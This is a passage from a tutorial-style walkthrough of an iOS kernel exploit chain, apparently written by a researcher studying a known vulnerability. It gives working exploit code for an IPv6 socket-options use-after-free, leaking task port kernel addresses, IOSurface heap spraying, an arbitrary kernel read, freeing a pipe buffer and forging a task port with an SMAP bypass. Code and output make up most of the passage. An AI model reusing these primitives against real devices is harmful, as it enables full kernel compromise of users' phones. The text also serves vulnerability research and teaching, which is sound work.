	// copy the message in from user space
	if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
		return MACH_SEND_INVALID_DATA;
	}

    // advance to the kernel-side message start
	msg_addr += sizeof(legacy_base.header);

    // add the maximum trailer length up front — we don't yet know what
    // trailer type the receiver will request, so reserve for the largest
    // typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
    // #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
	msg_and_trailer_size = size + MAX_TRAILER_SIZE;
	
	// allocate kernel memory
	kmsg = ipc_kmsg_alloc(msg_and_trailer_size);

    // initialize parts of kmsg.ikm_header
    ...

    // copy the message body (trailer excluded)
	if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
		ipc_kmsg_free(kmsg);
		return MACH_SEND_INVALID_DATA;
	}

    // locate the trailer at the tail of the kmsg by size, and initialize it
	trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
	trailer->msgh_sender = current_thread()->task->sec_token;
	trailer->msgh_audit = current_thread()->task->audit_token;
	trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
	trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
	trailer->msgh_labels.sender = 0;
	
	*kmsgp = kmsg;
	return MACH_MSG_SUCCESS;
}

ipc_kmsg_copyin() is the logic we care about here. I’ve stripped the irrelevant parts. ipc_kmsg_copyin_header() is unrelated; the action is in ipc_kmsg_copyin_body():

mach_msg_return_t
ipc_kmsg_copyin(
	ipc_kmsg_t		kmsg,
	ipc_space_t		space,
	vm_map_t		map,
	mach_msg_priority_t override,
	mach_msg_option_t	*optionp)
{
    mach_msg_return_t 		mr;
    kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
    mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
    if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
	return MACH_MSG_SUCCESS;
	mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);
	return mr;
}

ipc_kmsg_copyin_body() first validates the OOL data, adjusts kernel space as needed, and finally calls the key function ipc_kmsg_copyin_ool_ports_descriptor():

mach_msg_return_t
ipc_kmsg_copyin_body(
	ipc_kmsg_t	kmsg,
	ipc_space_t	space,
	vm_map_t    map,
	mach_msg_option_t *optionp)
{
    ipc_object_t       		dest;
    mach_msg_body_t		*body;
    mach_msg_descriptor_t	*daddr, *naddr;
    mach_msg_descriptor_t	*user_addr, *kern_addr;
    mach_msg_type_number_t	dsc_count;
	// #define VM_MAX_ADDRESS		((vm_address_t) 0x80000000)
    boolean_t 			is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);
    boolean_t 			complex = FALSE;
    vm_size_t			space_needed = 0;
    vm_offset_t			paddr = 0;
    vm_map_copy_t		copy = VM_MAP_COPY_NULL;
    mach_msg_type_number_t	i;
    mach_msg_return_t		mr = MACH_MSG_SUCCESS;
    vm_size_t           descriptor_size = 0;
    mach_msg_type_number_t total_ool_port_count = 0;

	// destination port
    dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
	// kernel-side message body start
    body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
    naddr = (mach_msg_descriptor_t *) (body + 1);
	// msgh_descriptor_count == 0 means no data; here we set it to 1
    dsc_count = body->msgh_descriptor_count;
    if (dsc_count == 0) return MACH_MSG_SUCCESS;

    daddr = NULL;
    for (i = 0; i < dsc_count; i++) {
		mach_msg_size_t size;
		mach_msg_type_number_t ool_port_count = 0;

		daddr = naddr;

		/* make sure the descriptor fits in the message */
		// the first field of mach_msg_ool_ports_descriptor_t is the address
		// void*                         address;
		// 8 bytes on 64-bit, 4 bytes on 32-bit
		if (is_task_64bit) {
			switch (daddr->type.type) {
			case MACH_MSG_OOL_DESCRIPTOR:
			case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
			case MACH_MSG_OOL_PORTS_DESCRIPTOR:
				descriptor_size += 16;
				naddr = (typeof(naddr))((vm_offset_t)daddr + 16);
				break;
			default:
				descriptor_size += 12;
				naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
				break;
			}
		} else {
			descriptor_size += 12;
			naddr = (typeof(naddr))((vm_offset_t)daddr + 12);
		}
    }

    user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
    // check whether we need to shift; by default there's only 1 descriptor,
    // 16 bytes each. We set 1, so no shift is needed.
    if(descriptor_size != 16*dsc_count) {
        vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size;
        memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
        kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust);
        kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
    }

    kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));

    /* handle the OOL regions and port descriptors. */
    for(i = 0; i < dsc_count; i++) {
        switch (user_addr->type.type) {
            case MACH_MSG_OOL_PORTS_DESCRIPTOR: 
                user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, 
			            user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr);
                kern_addr++;
                complex = TRUE;
                break;
        }
    } /* End of loop */ 
    
    ...
}

ipc_kmsg_copyin_ool_ports_descriptor() handles the OOL data and calls the key function ipc_object_copyin():

mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
	mach_msg_ool_ports_descriptor_t *dsc,
	mach_msg_descriptor_t *user_dsc,
	int is_64bit,
	vm_map_t map,
	ipc_space_t space,
	ipc_object_t dest,
	ipc_kmsg_t kmsg,
	mach_msg_option_t *optionp,
	mach_msg_return_t *mr)
{
    void *data;
    ipc_object_t *objects;
    unsigned int i;
    mach_vm_offset_t addr;
    mach_msg_type_name_t user_disp;
    mach_msg_type_name_t result_disp;
    mach_msg_type_number_t count;
    mach_msg_copy_options_t copy_option;
    boolean_t deallocate;
    mach_msg_descriptor_type_t type;
    vm_size_t ports_length, names_length;

    if (is_64bit) {
        mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc;
        addr = (mach_vm_offset_t)user_ool_dsc->address;
        count = user_ool_dsc->count;
        deallocate = user_ool_dsc->deallocate;
        copy_option = user_ool_dsc->copy;
        user_disp = user_ool_dsc->disposition;
        type = user_ool_dsc->type;
        user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
    } else {
    		...
    }
    data = kalloc(ports_length);
    
#ifdef __LP64__
    mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
    mach_port_name_t *names = ((mach_port_name_t *)data);
#endif

    objects = (ipc_object_t *) data;
    dsc->address = data;

    for ( i = 0; i < count; i++) {
        mach_port_name_t name = names[i];
        ipc_object_t object;
        if (!MACH_PORT_VALID(name)) {
            objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
            continue;
        }
        kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
        objects[i] = object;
    }

    return user_dsc;
}

ipc_object_copyin() contains two functions: ipc_right_lookup_write() and ipc_right_copyin():

kern_return_t
ipc_object_copyin(
	ipc_space_t		space,
	mach_port_name_t	name,
	mach_msg_type_name_t	msgt_name,
	ipc_object_t		*objectp)
{
	ipc_entry_t entry;
	ipc_port_t soright;
	ipc_port_t release_port;
	kern_return_t kr;
	int assertcnt = 0;

	kr = ipc_right_lookup_write(space, name, &entry);
	release_port = IP_NULL;
	kr = ipc_right_copyin(space, name, entry,
			      msgt_name, TRUE,
			      objectp, &soright,
			      &release_port,
			      &assertcnt);
	...
	return kr;
}

ipc_right_lookup_write() calls ipc_entry_lookup(), and stores the result in entry:

kern_return_t
ipc_right_lookup_write(
	ipc_space_t		space,
	mach_port_name_t	name,
	ipc_entry_t		*entryp)
{
	ipc_entry_t entry;
	is_write_lock(space);
	if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {
		is_write_unlock(space);
		return KERN_INVALID_NAME;
	}
	*entryp = entry;
	return KERN_SUCCESS;
}

Two concepts matter here. One is the ipc_space struct — the IPC space of the whole task. The other is ipc_entry, which points to an ipc_object. ipc_space has a member is_table that holds all of the task’s ipc_entry entries. In our case, ipc_entry points to an ipc_port — so entry ends up holding the kernel address of the Task Port we originally passed in:

ipc_entry_t
ipc_entry_lookup(
	ipc_space_t		space,
	mach_port_name_t	name)
{
	mach_port_index_t index;
	ipc_entry_t entry;
	index = MACH_PORT_INDEX(name);
	if (index <  space->is_table_size) {
                entry = &space->is_table[index];
		...
	}

	return entry;
}

Working back up: ipc_object_copyin()’s objectp parameter is stored into the objects[] array of its caller, ipc_kmsg_copyin_ool_ports_descriptor(). That array’s memory is allocated inside ipc_kmsg_copyin_ool_ports_descriptor, so if we make ports_length match the size of inp->in6p_outputopts, we can land the allocation in the freed slot:

data = kalloc(ports_length);
objects = (ipc_object_t *) data;

I drew up a call graph — note the red box.

First create a ports array to hold the user-space Task Port, then build the OOL message. Everything else is irrelevant; the two fields that matter are msg->ool_ports.address and msg->ool_ports.count. Calling msg_send() sends the message, triggering the allocation that converts the user-space Task Port into its kernel address and writes it into memory we control:

mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    msg->body.msgh_descriptor_count = 1;
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    return q;
}

The ip6_pktopts struct is 192 bytes. I couldn’t find a header to import it, so — the crude approach — I copied the whole struct and used sizeof(). Based on the member layout, I read the pair ip6po_minmtu and ip6po_prefer_tempaddr, and added a kernel-pointer heuristic to confirm the hit:

uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    int sock = get_socket_with_dangling_options();
    for (int i = 0; i < 0x10000; i++) {
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        int mtu;
        int pref;
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    close(sock);
    return 0;
}

5. Leaking the IPC_SPACE kernel address

To leak the Task Port address we leaned on the kernel’s automatic user-to-kernel port conversion writing into controlled memory. To leak arbitrary kernel data we need a more stable primitive.

Look at ip6_pktopts again. We now have a pointer into that freed kernel region, and a way to make it hold data we craft. Two questions:

  1. How do we allocate this region and write our data into it?
  2. How do we turn that data into an arbitrary kernel read?
struct	ip6_pktopts {
	struct	mbuf *ip6po_m;	/* Pointer to mbuf storing the data */
	int	ip6po_hlim;	/* Hoplimit for outgoing packets */
	struct	in6_pktinfo *ip6po_pktinfo;
	struct	ip6po_nhinfo ip6po_nhinfo;
	struct	ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
	struct	ip6_dest *ip6po_dest1;
	struct	ip6po_rhinfo ip6po_rhinfo;
	struct	ip6_dest *ip6po_dest2;
	int	ip6po_tclass;	/* traffic class */
	int	ip6po_minmtu;  /* fragment vs PMTU discovery policy */
	int	ip6po_prefer_tempaddr;
	int ip6po_flags;
};

The second question has a clean answer. ip6_pktopts has several struct-typed members, e.g. ip6po_pktinfo. We set that member’s offset to the address we want to read, set the integer ip6po_minmtu to a sentinel value, spray the crafted data into memory, then use getsockopt() to check whether the vulnerable socket’s ip6po_minmtu matches our sentinel.

If it does, the spray landed. Then getsockopt() on the ip6po_pktinfo member leaks the data at our chosen address. in6_pktinfo is 20 bytes, so the author wrote read_20_via_uaf() to leak that much from a given address:

void* read_20_via_uaf(uint64_t addr) {
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // sentinel value
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344;
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; // kernel address to read
    bool found = false;
    int found_at = -1;
    for (int i = 0; i < 20; i++) {
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));  // heap spray
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // check the sentinel one by one
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    free(fake_opts);
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    // close the other sockets
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    // read fake_opts->ip6po_pktinfo through getsockopt()
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    return buf;
}

With the arbitrary-read primitive sketched, the remaining problem is landing the crafted data in inp->in6p_outputopts. That calls for a new heap-spray technique: heap feng shui via IOSurface.

Here’s my own condensed version of the serialization format.

Two functions matter: OSUnserializeBinary() and OSUnserializeXML().

There are two modes for constructing data — XML and Binary. Binary mode works in uint32 units; when the data head is 0x000000d3, it automatically jumps into OSUnserializeBinary().

A uint32 is 32 bits / 4 bytes. Bit 32 marks the end node; bits 24–30 carry the stored data; bits 0–23 carry the data length.

0(31) 0000000(24) 000000000000000000000000

#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */

enum {
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,
    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,
    kOSSerializeEndCollection   = 0x80000000U,
};

An example: 0x000000d3 marks Binary mode. 0x81000002 means the current collection kOSSerializeDictionary holds two elements. Then the elements follow: the first is a kOSSerializeString of length 4, 0x00414141 is its data, and kOSSerializeBoolean is the second element, whose last bit directly encodes True or False:

0x000000d3 // kOSSerializeBinarySignature
0x81000002 // kOSSerializeDictionary | 2 | kOSSerializeEndCollection
0x09000004 // kOSSerializeString | 4
0x00414141 // AAA
0x8b000001 // kOSSerializeBoolean | 1 | kOSSerializeEndCollection

The parse result of the above, noting that a string’s trailing 00 terminator takes up space:

<dict>
    <string>AAA</string>
    <boolean>1</boolean>
</dict>

Make sure you understand this computation — the heap spray below depends on it.

The author’s entry point is spray_IOSurface(): 32 means 32 spray attempts, 256 the number of stored array elements:

int spray_IOSurface(void *data, size_t size) {
    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}

IOSurface_spray_with_gc() is a thin wrapper around IOSurface_spray_with_gc_internal(); the trailing callback is NULL here:

bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
			data, data_size, callback);
}

The real work is in IOSurface_spray_with_gc_internal(). Let’s break it down.

Initialize IOSurface and get the IOSurfaceRootUserClient:

bool ok = IOSurface_init();

Compute the XML units each data needs. Because of the 00 terminator, subtract 1 from data_size, then round up:

size_t xml_units_per_data = xml_units_for_data_size(data_size);

static size_t
xml_units_for_data_size(size_t data_size) {
	return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}

A 3-byte string plus its 00 terminator is 4 bytes — one uint32:

0x09000004 // kOSSerializeString | 4
0x00414141 // AAA

A 7-byte string plus its 00 terminator is 8 bytes — two uint32s, matching the “XML unit” computation above:

0x09000008 // kOSSerializeString | 4
0x41414141 // AAAA
0x00414141 // AAA

There are a lot of 1s here — each 1 is a uint32; I’ll break them down when constructing the real payload. This computes the XML units a full XML needs: 256 data elements, each requiring xml_units_for_data_size() units, plus 1 per data for its kOSSerializeString element tag (one uint32):

size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;

With the XML unit count computed, allocate memory; xml[0] is a variable-length array:

struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        uint32_t xml[0];
        char string[0];
    };
};

struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);

The key step: the computed values are passed to serialize_IOSurface_data_array() to build the final XML:

uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
uint32_t *key;
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);

serialize_IOSurface_data_array()’s construction matches the explanation above; the six 1s become kOSSerializeBinarySignature and the other elements:

static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size,
		uint32_t **xml_data, uint32_t **key) {
	uint32_t *xml = xml0;
	*xml++ = kOSSerializeBinarySignature;
	*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
	*xml++ = kOSSerializeArray | array_length;
	for (size_t i = 0; i < array_length; i++) {
		uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
		*xml++ = kOSSerializeData | (data_size - 1) | flags;
		xml_data[i] = xml;    // record this offset for later data fill
		xml += xml_units_for_data_size(data_size);
	}
	*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
	*key = xml++;		// This will be filled in on each array loop.
	*xml++ = 0;		// Null-terminate the symbol.
	return (xml - xml0) * sizeof(*xml);
}

The final XML shape:

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[1] -->
    </kOSSerializeData>
    <!-- ... -->
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0

Now we have an XML template. Fill it in two parts — the crafted data and the key identifier — then call IOSurface_set_value(), a wrapper over IOConnectCallMethod() that sends the data to the kernel:

for (uint32_t array_id = 0; array_id < array_count; array_id++) {
    *key = base255_encode(total_arrays + array_id);
    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
        memcpy(xml_data[data_id], data, data_size - 1);
    }
    ok = IOSurface_set_value(args, args_size);
}

The full main body, with unreachable logic trimmed:

static uint32_t total_arrays = 0;
static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	// initialize IOSurface and get the IOSurfaceRootUserClient for the calls
	bool ok = IOSurface_init();
	// extra_count is 0 here; each spray array holds array_length (256) elements of our crafted data
	uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
    // compute the node count each data element needs
	size_t xml_units_per_data = xml_units_for_data_size(data_size);
	size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
	// Allocate the args struct.
	struct IOSurfaceValueArgs *args;
	size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
	args = malloc(args_size);
	
    // Build the IOSurfaceValueArgs.
	args->surface_id = IOSurface_id;
	
    // Create the serialized OSArray. We'll remember the locations we need to fill in with our
	// data as well as the slot we need to set our key.
    uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
	uint32_t *key;
	size_t xml_size = serialize_IOSurface_data_array(args->xml,
			current_array_length, data_size, xml_data, &key);
	
    // Keep track of when we need to do GC.
	size_t sprayed = 0;
	size_t next_gc_step = 0;
	
	for (uint32_t array_id = 0; array_id < array_count; array_id++) {
		// If we've crossed the GC sleep boundary, 
        // sleep for a bit and schedule the next one.
		// Now build the array and its elements.
		*key = base255_encode(total_arrays + array_id);
		for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
			// Copy in the data to the appropriate slot.
			memcpy(xml_data[data_id], data, data_size - 1);
		}
		
        // Finally set the array in the surface.
		ok = IOSurface_set_value(args, args_size);
		if (ok) {
			sprayed += data_size * current_array_length;
		}
	}
	if (next_gc_step > 0) {
		// printf("\n");
	}
	free(args);
	free(xml_data);
	total_arrays += array_count;
	return true;
}

That’s the spray in detail. So once we’ve crafted the spray data and length, we call rk64_via_uaf():

uint64_t rk64_via_uaf(uint64_t addr) {
    void *buf = read_20_via_uaf(addr);
    if (buf) {
        uint64_t r = *(uint64_t*)buf;
        free(buf);
        return r;
    }
    return 0;
}

We already have the Task Port kernel address. With the struct offsets we can now resolve the IPC_SPACE kernel address:

uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
if (!ipc_space_kernel) {
    printf("[-] kernel read primitive failed!\n");
    goto err;
}
printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);

And the result:

[i] our task port: 0xfffffff001c3cc38
[i] ipc_space_kernel: 0xfffffff000a22fc0

6. Arbitrarily freeing a pipe buffer

A pipe is an inter-process communication mechanism; the kernel allocates a buffer for its data. fds[1] writes, fds[0] reads.

Say the read/write position starts at 0. Writing 0x10000 bytes advances it to 0x10000; reading 0x10000 bytes moves it back to 0.

The final write of 8 bytes leaves 8 bytes in the buffer so the next heap spray can fill it with crafted data we can read straight back:

int fds[2];
ret = pipe(fds);
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);
write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes

Calling setsockopt() reaches ip6_setpktopt():

setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));

For the IPV6_PKTINFO option there’s a specific logic: if pktinfo->ipi6_ifindex is 0 and the 12 bytes starting at &pktinfo->ipi6_addr are all 0, ip6_clearpktopts() frees the current ip6_pktopts->in6_pktinfo. Simplified: an all-zero struct gets freed:

#define	IN6_IS_ADDR_UNSPECIFIED(a)	\
	((*(const __uint32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \
	(*(const __uint32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \
	(*(const __uint32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \
	(*(const __uint32_t *)(const void *)(&(a)->s6_addr[12]) == 0))

static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
    int sticky, int cmsg, int uproto)
{
	int minmtupolicy, preftemp;
	int error;
	boolean_t capture_exthdrstat_out = FALSE;

	switch (optname) {
	case IPV6_2292PKTINFO:
	case IPV6_PKTINFO: {
		struct ifnet *ifp = NULL;
		struct in6_pktinfo *pktinfo;

		if (len != sizeof (struct in6_pktinfo))
			return (EINVAL);

		pktinfo = (struct in6_pktinfo *)(void *)buf;

		if (optname == IPV6_PKTINFO && opt->ip6po_pktinfo &&
		    pktinfo->ipi6_ifindex == 0 &&
		    IN6_IS_ADDR_UNSPECIFIED(&pktinfo->ipi6_addr)) {
			ip6_clearpktopts(opt, optname);
			break;
		}
		
		...
	}

ip6_clearpktopts() calls FREE() to release the buffer. This touches the kernel heap’s alloc/free machinery, which is out of scope here:

#define R_Free(p) FREE((caddr_t)p, M_RTABLE);
#define FREE(addr, type) \
	_FREE((void *)addr, type)
#define FREE(addr, type) \
	_FREE((void *)addr, type)
#define free _FREE
#define FREE(addr, type) _free((void *)addr, type, __FILE__, __LINE__)

void
ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)
{
	if (optname == -1 || optname == IPV6_PKTINFO) {
		if (pktopt->ip6po_pktinfo)
			FREE(pktopt->ip6po_pktinfo, M_IP6OPT);
		pktopt->ip6po_pktinfo = NULL;
	}
	
	...
}

To free the pipe buffer we first need its address, then IOSurface-spray data crafted from that address, then call setsockopt() with an all-zero in6_pktinfo to free it.

Resolve the pipe buffer address from the leaked Task Port — note the offsets are version-specific:

uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);

free_via_uaf() starts like rk64_via_uaf() — create a batch of vulnerable sockets and spray — but adds a fill step for the in6_pktinfo struct. Here we fill all-zero data, which triggers the free:

int free_via_uaf(uint64_t addr) {
    ...
    
    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
    memset(buf, 0, sizeof(struct in6_pktinfo));
    int ret = set_pktinfo(sockets[found_at], buf);
    free(buf);
    return ret;
}

The groundwork is done. Now the key part: forging a port.

7. Forging a Task Port

A note: SMAP landed with the iPhone 7, restricting the kernel from reading user-space memory. My test device is an iPhone 6, so I’ve downplayed SMAP up to this point — but from here on we have to face it.

Allocate a target for the forged port. find_port_via_uaf() uses the OOL auto-conversion trick to get the port’s kernel address target_addr; free_via_uaf() frees the pipe_buffer, but the pipe handles fds[0] and fds[1] still hold read/write access to that kernel buffer:

mach_port_t target = new_port();
uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);
ret = free_via_uaf(pipe_buffer);

This loop works like find_port_via_uaf(): use the auto-converted Task Port kernel address to occupy the just-freed pipe_buffer. Since we wrote 8 bytes earlier, reading 8 bytes gives us the first 8 bytes of pipe_buffer. Compare the address obtained this way against the address from the other method; if they match, exit the loop. If not, the spray missed — reset the position and retry:

mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
    p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
    uint64_t addr;
    read(fds[0], &addr, 8);
    if (addr == target_addr) { // if we see the address of our port, it worked
        break;
    }
    write(fds[1], &addr, 8); // reset buffer position
    mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
    p = MACH_PORT_NULL;
}

Besides fds, allocate another pair port_fds to bypass SMAP:

int port_fds[2] = {-1, -1};
if (SMAP) {
    ret = pipe(port_fds);
}

Once we hold a kernel buffer pipe_buffer full of port kernel addresses, we build the ipc_port struct.

Place the ipc_port and task structs in a contiguous region, and after building, flush the port_fds buffer:

kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);

fake_task->ref_count = 0xff;
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;

if (SMAP) {
    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
